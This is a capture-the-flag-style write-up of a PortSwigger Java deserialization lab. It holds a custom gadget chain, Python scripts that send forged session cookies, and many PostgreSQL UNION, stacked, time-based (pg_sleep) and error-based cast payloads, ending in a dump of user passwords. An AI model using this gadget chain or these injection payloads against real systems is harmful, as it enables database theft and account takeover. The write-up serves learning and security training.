DISCLAIMER

This post is beginner-oriented since I’m not as experienced in this field as I wished, but I want to share what I’ve learnt the past few days, so please keep in mind that errors can appear (and they will). Furthermore, if you see that there’s something wrong, feel totally free to contact me via Twitter or Telegram.

SPOILERS AHEAD

This lab is hosted at PortSwigger. If you feel attracted by this kind of vulnerabilities and have some free time, I encourage you to go and give it a try! Sometimes we learn further by trying rather than by reading.

TL;DR

Following OSWE’s studying content, I came up with the feeling of learning deserialization attacks on different languages. PHP was the first to draw my attention, but it was kind of easier for me, since it appears in lots of CTFs. Then Java appeared, and here we are! almost half a week after I firstly discovered what Java packages were (lol).

In this post, we’ll be soving “Developing a custom gadget chain for Java deserialization” from PortSwigger. In a nutshell, we’ll be creating a custom Java object (following the challenge’s backend) to exploit a simple Error-Based PostgreSQL Injection by casting the administrator’s password to an integer.

Basic Java Serialization/Deserialization

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;


public class POC implements Serializable {
	private String data;
	
	public POC(String testData) {
		this.data = testData;
	}
	
	public String getData() {
		return data;
	}


  public static void Serialize() {
    try {
        // Object Creation
        POC poctest = new POC("This is a POC!");
        // Creating output stream and writing the serialized object
        FileOutputStream outfile = new FileOutputStream("serialized.object");
        ObjectOutputStream outstream = new ObjectOutputStream(outfile);
        outstream.writeObject(poctest);
        // Closing the stream
        outstream.close();
        System.out.println("Serialized object saved to serialized.object");
    } catch (Exception e) {
        System.out.println(e);
    }}
    
  public static void Deserialize() {
    try{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialized.object"));
        POC poctest = (POC)in.readObject();
        // Printing the data of the serialized object
        System.out.println("Object's data: " + poctest.data);
        // Closing the stream
        in.close();
    }catch(Exception e){
            System.out.println(e);
            }
    }

  public static void main(String args[]) {
        POC.Serialize();
        POC.Deserialize();
    }

}

Used Libraries

// Playing with File Input/Output bytes.
import java.io.FileInputStream;
import java.io.FileOutputStream;

// Playing with Serialization/Deserialization of Input's Object.
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

// Setting the ability to be deserialized.
import java.io.Serializable;

Main class structure

public class POC implements Serializable {
	private String data;
	
	public POC(String testData) {
		this.data = testData;
	}
	
	public String getData() {
		return data;
	}

This POC class contains a POC() function that sets its data variable to the value provided, and another getData() that will be returning data variable’s value. The last appears because this is a demostration, otherwise it wouldn’t be needed since we just want to edit the variable.

Serializing/Deserializing

This serializing function can belong to the class to-be-deserialized or to the main class. In this POC, as the POC class doesn’t imply any kind of structure, the serializing/deserializing function can be declared inside itself.

  • Serializing
  public static void Serialize() {
    try {
        POC poctest = new POC("This is a POC!"); //Instantiation of a new POC-type Object following POC() function
        
        FileOutputStream outfile = new FileOutputStream("serialized.object"); //Creation of the output stream to a file

        ObjectOutputStream outstream = new ObjectOutputStream(outfile); //Creation of the Object output stream through the previous output stream.

        outstream.writeObject(poctest); //Writting the Object to the file's output stream. 
        
        outstream.close(); //Closing the output stream.

        System.out.println("Serialized object saved to serialized.object");

    } catch (Exception e) { //Catch and print any error/exception.
        System.out.println(e);
    }}
  • Deserializing
  public static void Deserialize() {
    try {
        FileInputStream infile = new FileInputStream("serialized.object"); //Creation of the input stream from a file.

        ObjectInputStream instream = new ObjectInputStream(infile); //Deserializing the input stream's object passed.

        POC poctest = (POC)instream.readObject(); //Instantiation of previous read object.

        System.out.println("Object's data: " + poctest.data);
        
        instream.close(); //Closing the input stream.
    } (Exception e){
        System.out.println(e);
    }}

Testing

$ javac POC.java && java POC

Serialized object saved to serialized.object
Object's data: This is a POC!
hexdump -C serialized.object

00000000  ac ed 00 05 73 72 00 03  50 4f 43 b0 1e cd 0f fa  |....sr..POC.....|
00000010  62 1f 9f 02 00 01 4c 00  04 64 61 74 61 74 00 12  |b.....L..datat..|
00000020  4c 6a 61 76 61 2f 6c 61  6e 67 2f 53 74 72 69 6e  |Ljava/lang/Strin|
00000030  67 3b 78 70 74 00 0e 54  68 69 73 20 69 73 20 61  |g;xpt..This is a|
00000040  20 50 4f 43 21                                    | POC!|
00000045

If we wanted to inject other data, we would just have to rewrite the object with the desired data and read it through the Deserialize() function.

The challenge

This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab's insecure deserialization to obtain the administrator's password.

To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator's password. Then, log in as the administrator and delete Carlos's account.

You can access your own account using the following credentials: wiener:peter 

We are facing a shop with some products and a login functionality. Using the credentials provided in the description, a new session cookie is generated. This cookie contains a Java Base64-Encoded Object from data.session.token.AccessTokenUsers.

session=rO0...
�sr"data.session.token.AccessTokenUsers
  • ¡! Notice the structure (package data.session.token) - AccessTokenUsers class.

By sending cookie("session=a") we can see the backend doing something with our session cookie’s value.

Discovering the backend

Reading the source code, a strange comment can be spotted.

<!--/backup/AccessTokenUser.java>Example user-->

AccessTokenUser.java

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}

There we have the class that our cookie object was serialized from. The backend was probably serializing this object with our credentials and then deserializing it in each request. But this has no impact. We could probably impersonate any user, but there’s some type of authentication check, as we don’t know the accessToken the administrator must have.

Later on, I came up with the idea of requesting just /backup/, and another file appeared.

ProductTemplate.java

package data.productcatalog;

import common.db.ConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

This class is certainly vulnerable and exploitable, since it is kind of overriding the actual readObject() method and executing a SQL query with a private variable id set by a public function.

Gadget Development

To make sure everything works out, we must match the structure that the backend is following. A main class would call a package called data.productcatalog.

mkdir data/
mkdir data/productcatalog/

touch data/productcatalog/ProductTemplate.java
touch Main.java

to-be-serialized Class (data/productcatalog/ProductTemplate.java)

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable {

    // Internal Server Error java.io.InvalidClassException: data.productcatalog.ProductTemplate; local class incompatible: stream classdesc serialVersionUID = -1893908778312165970, local class serialVersionUID = 1
    static final long serialVersionUID = 1L;

    private final String id;

    public ProductTemplate(String id){
        this.id = id;
    }
}

As you can see, this is a minified version of ProductTemplate.java’s main class, since everything that was not needed has been removed.

  • Notice static final long serialVersionUID = 1L; - this variable has to be set due to the random generation of a version number each time a class is executed. As we are deserializing the same class, this flag must be set. (This variable is also set in the backend, as you can see in ProductTemplate.java)

Main Class

import data.productcatalog.ProductTemplate; //Importing to-Serialize class
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
import java.util.Scanner;

class Main {
    public static void main(String[] args) throws Exception {
        Scanner in = new Scanner(System.in); //Reading stdin
        ProductTemplate originalObject = new ProductTemplate(in.nextLine()); //Creating Object with stdin
        String serializedObject = serialize(originalObject); //Getting serialized object
        System.out.println(serializedObject); //Printing serialized object
    }

    public static String serialize(Serializable ser) throws Exception { //https://stackoverflow.com/questions/134492/how-to-serialize-an-object-into-a-string
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512); //Creating (ByteArray) Output Stream
        ObjectOutputStream oos = new ObjectOutputStream(baos); //Creating (Object) Output Stream
        oos.writeObject(ser); //Write Binary Object
        return Base64.getEncoder().encodeToString(baos.toByteArray()); //Base64-Encoding Object
    }
}

Testing

Before starting our testing stage, I usually code a little pseudo-shell to quickly communicate with the server and read the responses.

import requests as r
import os

session = "your-session"
url = f"https://{session}.web-security-academy.net/"

while True:
    os.popen("rm Main.class 2>/dev/null") # Remove previous class to avoid Java overhuman errors.
    payload = input("SELECT * FROM products WHERE id = '").replace('"', "'").rstrip() # Replace " to avoid error with echo formatting.
    base64_object = os.popen("""javac Main.java && echo "%s" | java Main""" % payload).read().rstrip() # Read Base64-Encoded Object.

    cookies = {
        "session": base64_object
    }

    req = r.get(url, cookies=cookies)
    print(req.text)
  • Special mention to my teammates, specially @danielcues, who helped me solving an error in Java and it actually was me forgetting to format the line calling Java with the payload. os.popen("""javac Main.java && echo "%s" | java Main""" % payload) (Sorry for being so dumb lol)

Let’s try sending some random values and analysing the responses.

SELECT * FROM products WHERE id = '1'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

SELECT * FROM products WHERE id = '1'

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near &quot;&apos;1&apos;&apos; LIMIT 1&quot; Position: 35</p>

SELECT * FROM products WHERE id = '1' OR 1=1--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

SELECT * FROM products WHERE id = '1' OR 1=2--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

Thanks to the output, we can now know that a boolean injection is impossible, therefore we will be exploiting an error-based injection.

Displayed when the query causes no error:
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

Displayed when an error occurs:
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: error-here Position: X</p>

Table discovery

Since the query we already know String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); doesn’t hardcode the columns it will be returning, we will have to, at least, enumerate the amount of them.

SELECT * FROM products WHERE id = '' UNION SELECT 1--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns. Position: 51</p>

This error will appear everytime we don’t specify the same amount of columns in the second UNION query.

SELECT * FROM products WHERE id = '' UNION SELECT 1,2--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns. Position: 51</p>

...

SELECT * FROM products WHERE id = '' UNION SELECT 1,2,3,4,5,6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 51</p>

There we go, when the second query returns 8 columns, the error changes. According to the error, we are facing a UNION type mismatch, since there’s at least one column in the first query that is a string.

To propperly continue, let’s enumerate the amount of columns that are returning a string instead of an integer.

SELECT * FROM products WHERE id = '' UNION SELECT '1',2,3,4,5,6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 55</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2',3,4,5,6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 59</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: 
UNION types character varying and integer cannot be matched. Position: 67</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4',5,6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 69</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5',6,7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 71</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6',7,8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: 
UNION types character varying and integer cannot be matched. Position: 77</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6','7',8--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 79</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6','7','8'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

It seems that all of them are returning strings, but there’s a strange behaviour we should look at…

Strange columns' behaviour

Notice the great change in the error’s position between SELECT * FROM products WHERE id = '' UNION SELECT '1','2',3,4,5,6,7,8-- and SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,7,8--. The position goes from 59 to 67, and it stands for a change from having an error in the third column to having the same in the sixth one. Do you know why this happen? Let’s dig into it.

It seems that only columns 4 and 5 are integers:

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,'7','8'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 67</p>

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

But the same happens on position 77, it seems that the seventh column also returns an integer.

SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

So then, why SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'-- and SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6',7,'8'-- doesn’t return any errors?

It seems that, when the engine identifies a conflict happens, it tries to cast the provided value to the type of the column it is trying to fetch. Later on, we will be doing the same to leak the column’s values.

Veryifying our suspicions

SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','d','e','f','g','h'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: &quot;d&quot; Position: 63</p>

This time, the engine has casted the the string ’d' to an integer, since it is not an integer, the query returns an error.

SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','e','f','g','h'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: &quot;e&quot; Position: 67</p>

In this query we have verified two things.

  1. Provided value ‘1’ has been casted to int(1) and doesn’t return an error.
  2. Again, the engine has casted the string ‘e’ to an integer and returns an error.
SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','2','f','g','h'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: &quot;g&quot; Position: 75</p>

SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','2','f','3','h'--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &apos;app&apos;)</p>

Dumping Preparation

So let’s enumerate the different ways to exploit this injection:

  • Adding print(req.elapsed.total_seconds()) let us know the time elapsed in the request.

Are stacked queries allowed?

SELECT * FROM products WHERE id = ''; SELECT 1;--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: Multiple ResultSets were returned by the query.</p>

Even though there’s not output neither, the query gets executed as it can be seen here:

SELECT * FROM products WHERE id = ''; SELECT pg_sleep(10);--
Elapsed: 10.273399

This allow us to exploit this injection in a huge amount of ways except boolean-based.

Stacked-TimeBased (Like)

SELECT * FROM products WHERE id = ''; QUERY WHERE COLUMN LIKE '%' AND (SELECT 1 FROM pg_sleep(10))=1;
Elapsed: 10.273399

Time-Based (Like)

SELECT * FROM products WHERE id = '' AND (SELECT '1') LIKE '1' AND (SELECT 1 FROM pg_sleep(10))=1;

Error-Based

SELECT * FROM products WHERE id = '' UNION SELECT '','','',(SELECT 'whatever')::int,1,'',1,''--

<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: &quot;whatever&quot;</p>

In both first, ASCII(SUBSTR()) can be used too, and in the last one, the selected value would be printed in the error.

So on, we will be using the error-based method, since it is the easiest and fastest one. Before digging in the data dumping, let’s automate everything for us just to type the query and get the returned result.

import requests
import os
import re

session = "your-session"
url = f"https://{session}.web-security-academy.net/"

while True:
    os.popen("rm Main.class 2>/dev/null")
    query = input("SQL> ").replace('"', "'").rstrip()
    payload = f"' UNION SELECT '','','',({query})::int,1,'',1,''--"
    base64_object = os.popen("""javac Main.java ; echo "%s" | java Main""" % payload).read().rstrip()

    cookies = {
        "session": base64_object
    }

    req = requests.get(url, cookies=cookies)
    try:
        print(re.search("&quot;.*&quot;", req.text).group().replace("&quot;",""))
    except:
        print(req.text)
        print("Nothing found")

Database names discovery

SQL> SELECT string_agg(datname, ', ') FROM pg_database

postgres, template1, template0

Table name discovery

SQL> SELECT string_agg(tablename, ', ') FROM pg_tables WHERE schemaname='postgres'

Nothing found

It seems the query is not working, lets try avoiding WHERE statement.

SQL> SELECT string_agg(tablename, ', ') FROM pg_tables LIMIT 1

users, products, pg_statistic, pg_foreign_table, pg_authid, pg_user_mapping, pg_subscription, pg_largeobject, pg_type, pg_attribute, pg_proc, pg_class, pg_attrdef, pg_constraint, pg_inherits, pg_index, pg_operator, pg_opfamily, pg_opclass, pg_am, pg_amop, pg_amproc, pg_language, pg_largeobject_metadata, pg_aggregate, pg_statistic_ext, pg_rewrite, pg_trigger, pg_event_trigger, pg_description, pg_cast, pg_enum, pg_namespace, pg_conversion, pg_depend, pg_database, pg_db_role_setting, pg_tablespace, pg_pltemplate, pg_auth_members, pg_shdepend, pg_shdescription, pg_ts_config, pg_ts_config_map, pg_ts_dict, pg_ts_parser, pg_ts_template, pg_extension, pg_foreign_data_wrapper, pg_foreign_server, pg_policy, pg_replication_origin, pg_default_acl, pg_init_privs, pg_seclabel, pg_shseclabel, pg_collation, pg_partitioned_table, pg_range, pg_transform, pg_sequence, pg_publication, pg_publication_rel, pg_subscription_rel, sql_features, sql_implementation_info, sql_languages, sql_packages, sql_parts, sql_sizing, sql_sizing_profiles

There we go, it seems the first database was ‘postgres’, and there’s a very interesting table called ‘users’, let’s dig in!

Column name discovery

SQL> SELECT string_agg(column_name, ', ') FROM information_schema.columns WHERE table_name = 'users'

username, password

There we have! According to the challenge’s description, we must sign up as the administrator and delete Carlos' account. Let’s dump the values.

Users table dump

SQL> SELECT string_agg(' Username: ', username) FROM users
 Username: carlos Username: wiener

SQL> SELECT string_agg(' Password: ', password) FROM users
 Password: czcj2c2n6oylpn3411w9 Password: peter

We got it, we managed to dump the credentials for signing up as the administrator and delete Carlos' account.

The End

I hope you liked the writeup and hopefully learnt something new!

Jorge.